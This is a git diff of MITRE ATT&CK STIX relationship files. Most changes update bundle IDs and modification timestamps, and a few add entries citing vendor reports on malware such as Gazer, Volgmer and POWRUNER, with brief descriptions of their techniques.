diff --git a/enterprise-attack/relationship/relationship--609d3d8c-1995-43ef-a102-a39d668a774d.json b/enterprise-attack/relationship/relationship--609d3d8c-1995-43ef-a102-a39d668a774d.json
index d04a5fb6d2..6db6dc4e08 100644
--- a/enterprise-attack/relationship/relationship--609d3d8c-1995-43ef-a102-a39d668a774d.json
+++ b/enterprise-attack/relationship/relationship--609d3d8c-1995-43ef-a102-a39d668a774d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d65203f-f8d5-4bd2-bc88-606824542663",
+    "id": "bundle--37c6b0b4-cf2a-4da0-8f71-461696eaf51e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind encrypts C2 traffic using RC4 with a static key.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--61047751-c353-4190-bc37-19ad959bc35e.json b/enterprise-attack/relationship/relationship--61047751-c353-4190-bc37-19ad959bc35e.json
new file mode 100644
index 0000000000..c87ac52bc2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--61047751-c353-4190-bc37-19ad959bc35e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b8c58e53-a064-4635-b512-d8e0726504a0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--61047751-c353-4190-bc37-19ad959bc35e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer communicates with its C2 servers over HTTP.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34.json b/enterprise-attack/relationship/relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34.json
index 9ff6d0df8b..391aac45cd 100644
--- a/enterprise-attack/relationship/relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34.json
+++ b/enterprise-attack/relationship/relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa3b4950-b178-48b8-8906-c0b51e7c61c0",
+    "id": "bundle--30c43865-f4bb-4d12-ba6d-4b1368859ba6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60.json b/enterprise-attack/relationship/relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60.json
new file mode 100644
index 0000000000..324d0d4b79
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--72d0c152-ac46-4293-98d2-ee4a09b9c82a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the system to identify existing services.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d.json b/enterprise-attack/relationship/relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d.json
index 80fd0f01c2..344e1f25bb 100644
--- a/enterprise-attack/relationship/relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d.json
+++ b/enterprise-attack/relationship/relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44f8e264-d156-4a4e-be06-83d90020f267",
+    "id": "bundle--cd592cda-59e8-47ad-ace2-e20b63f955d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--61528841-379e-4fa3-a233-34c745764c18.json b/enterprise-attack/relationship/relationship--61528841-379e-4fa3-a233-34c745764c18.json
index 314bbaf22a..5442a047c8 100644
--- a/enterprise-attack/relationship/relationship--61528841-379e-4fa3-a233-34c745764c18.json
+++ b/enterprise-attack/relationship/relationship--61528841-379e-4fa3-a233-34c745764c18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f687fca-ab0f-4998-912c-131003993a98",
+    "id": "bundle--767da8df-bbe5-4b9b-93a9-67f6239afed3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--61528841-379e-4fa3-a233-34c745764c18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae",
             "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
diff --git a/enterprise-attack/relationship/relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a.json b/enterprise-attack/relationship/relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a.json
index be2b8a7e8f..909607c214 100644
--- a/enterprise-attack/relationship/relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a.json
+++ b/enterprise-attack/relationship/relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--19f57af4-7027-4d07-96a3-5946061b880a",
+    "id": "bundle--719c1de8-420c-4846-b9a5-1a2526b56d5b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors deleted tools and batch files from victim systems.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
diff --git a/enterprise-attack/relationship/relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd.json b/enterprise-attack/relationship/relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd.json
index de418335fe..37c8311026 100644
--- a/enterprise-attack/relationship/relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd.json
+++ b/enterprise-attack/relationship/relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--61e307a5-76a3-4d63-a3ef-9719c80980bc",
+    "id": "bundle--885bbe71-6a7c-4a38-8a4a-0ae95230ce52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"SCOUT\" variant of NETEAGLE achieves persistence by adding itself to the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--61827309-9071-416b-aedf-7f82f224db2e.json b/enterprise-attack/relationship/relationship--61827309-9071-416b-aedf-7f82f224db2e.json
index c1e688a028..b72a5ff6ff 100644
--- a/enterprise-attack/relationship/relationship--61827309-9071-416b-aedf-7f82f224db2e.json
+++ b/enterprise-attack/relationship/relationship--61827309-9071-416b-aedf-7f82f224db2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c923d664-ae7d-48f5-901b-5b6ca093a77f",
+    "id": "bundle--84940f1f-0ae7-4e16-b7ab-ecf3402f05e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000. NETEAGLE will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--6184b127-47cf-43fc-880b-890554d9cc9a.json b/enterprise-attack/relationship/relationship--6184b127-47cf-43fc-880b-890554d9cc9a.json
index e2d54d2784..9915dcf897 100644
--- a/enterprise-attack/relationship/relationship--6184b127-47cf-43fc-880b-890554d9cc9a.json
+++ b/enterprise-attack/relationship/relationship--6184b127-47cf-43fc-880b-890554d9cc9a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc9d3ea1-e26c-4c4d-8dfb-671d2404a178",
+    "id": "bundle--b88b8e22-3744-43bd-8d1a-f283338370c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover takes screenshots of the compromised system's desktop and saves them to <code>C:\\system\\screenshot.bmp</code> for exfiltration every 60 minutes.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--61dd6d75-a95b-488d-9a1d-924563592df7.json b/enterprise-attack/relationship/relationship--61dd6d75-a95b-488d-9a1d-924563592df7.json
new file mode 100644
index 0000000000..afa3dad253
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--61dd6d75-a95b-488d-9a1d-924563592df7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cc7b3743-80ee-4eb5-b2f8-3c054b45fbd6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--61dd6d75-a95b-488d-9a1d-924563592df7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect user account information by running <code>net user /domain</code> or a series of other commands on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5.json b/enterprise-attack/relationship/relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5.json
index 9831ecc3a3..bb749bbd83 100644
--- a/enterprise-attack/relationship/relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5.json
+++ b/enterprise-attack/relationship/relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f069bec-766d-4810-9384-9f04177d8e54",
+    "id": "bundle--6e40ff6e-975a-46e9-8380-2a2827b5333c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain information about running processes on the victim.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--620ab17a-3e46-4083-82b0-aeff74d104cd.json b/enterprise-attack/relationship/relationship--620ab17a-3e46-4083-82b0-aeff74d104cd.json
index 8ded7410df..d0ddf082b8 100644
--- a/enterprise-attack/relationship/relationship--620ab17a-3e46-4083-82b0-aeff74d104cd.json
+++ b/enterprise-attack/relationship/relationship--620ab17a-3e46-4083-82b0-aeff74d104cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--111d8627-597e-4a3b-a4d4-984eb315cc43",
+    "id": "bundle--11f7af89-3651-4805-a04b-9fe4f8a6435c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--620ab17a-3e46-4083-82b0-aeff74d104cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301",
             "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
diff --git a/enterprise-attack/relationship/relationship--62507790-a137-409e-a655-9190ff78cb52.json b/enterprise-attack/relationship/relationship--62507790-a137-409e-a655-9190ff78cb52.json
index 909a6b6c4b..e03e3972eb 100644
--- a/enterprise-attack/relationship/relationship--62507790-a137-409e-a655-9190ff78cb52.json
+++ b/enterprise-attack/relationship/relationship--62507790-a137-409e-a655-9190ff78cb52.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e6d9382-caa6-4a07-9c8f-65e3aaf8aa0a",
+    "id": "bundle--d5ef3cca-978b-4295-ac9d-540613e65f9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--62507790-a137-409e-a655-9190ff78cb52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke searches attached and mounted drives for file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--62c8913c-c193-4feb-ab58-88343838336d.json b/enterprise-attack/relationship/relationship--62c8913c-c193-4feb-ab58-88343838336d.json
index 110309e9d4..0384e09132 100644
--- a/enterprise-attack/relationship/relationship--62c8913c-c193-4feb-ab58-88343838336d.json
+++ b/enterprise-attack/relationship/relationship--62c8913c-c193-4feb-ab58-88343838336d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--50e6d2ba-8aee-4fa3-9a03-09035a2f0437",
+    "id": "bundle--be9f767e-c9f2-438d-82ae-00028968c04f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
diff --git a/enterprise-attack/relationship/relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b.json b/enterprise-attack/relationship/relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b.json
index 3fe665c7d6..1df3988488 100644
--- a/enterprise-attack/relationship/relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b.json
+++ b/enterprise-attack/relationship/relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cfa6d0d6-a39c-461c-9894-998efa022d1b",
+    "id": "bundle--9f0f6a50-ee7d-4b53-95d1-01dedcfe235e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to list the victim's processes.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--630dedba-136b-4ea3-956e-f8f38e96653d.json b/enterprise-attack/relationship/relationship--630dedba-136b-4ea3-956e-f8f38e96653d.json
index 48ab07e93a..a76f67251b 100644
--- a/enterprise-attack/relationship/relationship--630dedba-136b-4ea3-956e-f8f38e96653d.json
+++ b/enterprise-attack/relationship/relationship--630dedba-136b-4ea3-956e-f8f38e96653d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e22200de-aafb-4631-b2e4-af85b93b1dfb",
+    "id": "bundle--7f127990-11a8-4701-9326-ab45d33426f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--630dedba-136b-4ea3-956e-f8f38e96653d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66.json b/enterprise-attack/relationship/relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66.json
index 949fa6eefa..c4b7cc84ef 100644
--- a/enterprise-attack/relationship/relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66.json
+++ b/enterprise-attack/relationship/relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d2133a6-0226-4d08-aed4-4110b5d4e392",
+    "id": "bundle--7c623954-a018-416b-a3ed-f7fb35daff6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
diff --git a/enterprise-attack/relationship/relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7.json b/enterprise-attack/relationship/relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7.json
index b990bedba0..66f285c6dd 100644
--- a/enterprise-attack/relationship/relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7.json
+++ b/enterprise-attack/relationship/relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8248e7ce-5d9b-4647-9d89-9a470a217616",
+    "id": "bundle--7acc5d15-4a77-4486-9580-a4e90acf067b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--63d53308-7d7d-4777-a1cc-c7100735609c.json b/enterprise-attack/relationship/relationship--63d53308-7d7d-4777-a1cc-c7100735609c.json
index ccf798f2f5..e2856f513a 100644
--- a/enterprise-attack/relationship/relationship--63d53308-7d7d-4777-a1cc-c7100735609c.json
+++ b/enterprise-attack/relationship/relationship--63d53308-7d7d-4777-a1cc-c7100735609c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5c12e72-6cff-4cb1-bb50-b4fc769dfe22",
+    "id": "bundle--434e5f9c-3169-477a-8d68-a8e2f995c73d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--63d53308-7d7d-4777-a1cc-c7100735609c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.",
             "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
diff --git a/enterprise-attack/relationship/relationship--63f0007e-833e-4d6a-b79e-873525979f40.json b/enterprise-attack/relationship/relationship--63f0007e-833e-4d6a-b79e-873525979f40.json
index 9e73e07bf6..594484258d 100644
--- a/enterprise-attack/relationship/relationship--63f0007e-833e-4d6a-b79e-873525979f40.json
+++ b/enterprise-attack/relationship/relationship--63f0007e-833e-4d6a-b79e-873525979f40.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ad923ec-7286-44da-af62-baad90c58718",
+    "id": "bundle--9409a7e1-fbad-4b42-ab39-04abb1bfd416",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56.json b/enterprise-attack/relationship/relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56.json
index 35929281ea..f6e53a6113 100644
--- a/enterprise-attack/relationship/relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56.json
+++ b/enterprise-attack/relationship/relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--feef2d3b-28e7-438e-bf8a-0bc26535227b",
+    "id": "bundle--a6df26b2-7eb9-4b03-82f5-c6a2300caf36",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ComRAT samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.",
             "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
diff --git a/enterprise-attack/relationship/relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6.json b/enterprise-attack/relationship/relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6.json
index f44edac415..5fcef9ef7f 100644
--- a/enterprise-attack/relationship/relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6.json
+++ b/enterprise-attack/relationship/relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1c0bbc6-80ce-41c1-bb09-a0ef4bcd14a1",
+    "id": "bundle--a7c4f60d-26e4-4e96-9eca-59229fcd079f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After security appliances blocked one version of the ADVSTORESHELL implant, APT28 actors compiled and delivered another ADVSTORESHELL x64 backdoor.APT28 also used a first-stage downloader to contact the C2 server to obtain the second-stage implant.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -21,7 +21,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
